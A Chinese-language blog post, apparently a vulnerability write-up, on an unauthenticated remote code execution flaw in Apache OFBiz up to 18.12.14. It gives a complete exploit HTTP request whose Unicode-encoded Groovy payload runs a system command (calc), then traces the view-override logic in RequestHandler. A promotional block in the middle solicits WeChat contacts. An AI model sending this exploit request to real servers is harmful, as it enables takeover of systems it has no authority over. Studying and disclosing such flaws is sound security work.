漏洞簡介
Apache OFBiz 是一個開源的企業資源規劃系統,提供了一整套企業管理解決方案,涵蓋了許多領域,包括財務管理、供應鏈管理、客戶關係管理、人力資源管理和電子商務等。Apache OFBiz 基於 Java 開發,採用靈活的架構和模組化設計,使其可以根據企業的需求進行定製和擴充套件,它具有強大的功能和可擴充套件性,適用於中小型企業和大型企業,幫助他們提高效率,降低成本,並實現業務流程的自動化和最佳化。Apache OFBiz 在處理 view 檢視渲染的時候存在邏輯缺陷,未經身份驗證的攻擊者可透過構造特殊 URL 來覆蓋最終的渲染檢視,從而執行任意程式碼。
影響版本
Apache OFBiz <\= 18.12.14
漏洞復現
https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14
下載程式碼連結 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14
下載後利用 idea 開啟並編譯執行
構造傳送資料包
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
成功執行開啟計算器的命令
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
是 throw new Exception('calc'.execute().text);
進行編碼後的資料
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
漏洞分析
applications\accounting\webapp\accounting\WEB-INF\web.xml
org.apache.ofbiz.webapp.control.ControlServlet
會處理所有以/control/
開頭的路由
org.apache.ofbiz.webapp.control.ControlServlet#doPost
doPost 方法轉換為 doGet 請求
org.apache.ofbiz.webapp.control.ControlServlet#doGet
利用 RequestHandler
來處理請求
org.apache.ofbiz.webapp.control.RequestHandler#doRequest
在 RequestHandler#doRequest
中依次獲取路由相關引數
org.apache.ofbiz.base.util.UtilHttp#getApplicationName
org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri
org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri
依次獲取到與路由相關的引數後,呼叫 resolveURI
返回路由對應的配置資訊
org.apache.ofbiz.webapp.control.RequestHandler#resolveURI
這裡對應的是
framework/webtools/webapp/webtools/WEB-INF/controller.xml
對應的 /webtools/control/main/
不需要認證,所以可以繼續向下執行
透過success獲取到返回值的資料賦值給successResponse,然後傳遞給nextRequestResponse
else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}
在overrideViewUri
非空且 eventReturn
為 null
或 "success"
的情況下,將 viewName
設定為 overrideViewUri
。否則將 viewName
設定為 nextRequestResponse.value
。
這裡請求的路徑為 /main/ProgramExport
造成 view 的解析衝突,會進入到 ProgramExport 這個業務中 ,renderView 方法會解析與ProgramExport對應的請求
framework/webtools/widget/EntityScreens.xml
framework/webtools/groovyScripts/entity/ProgramExport.groovy
更多網安技能的線上實操練習,請點選這裡>>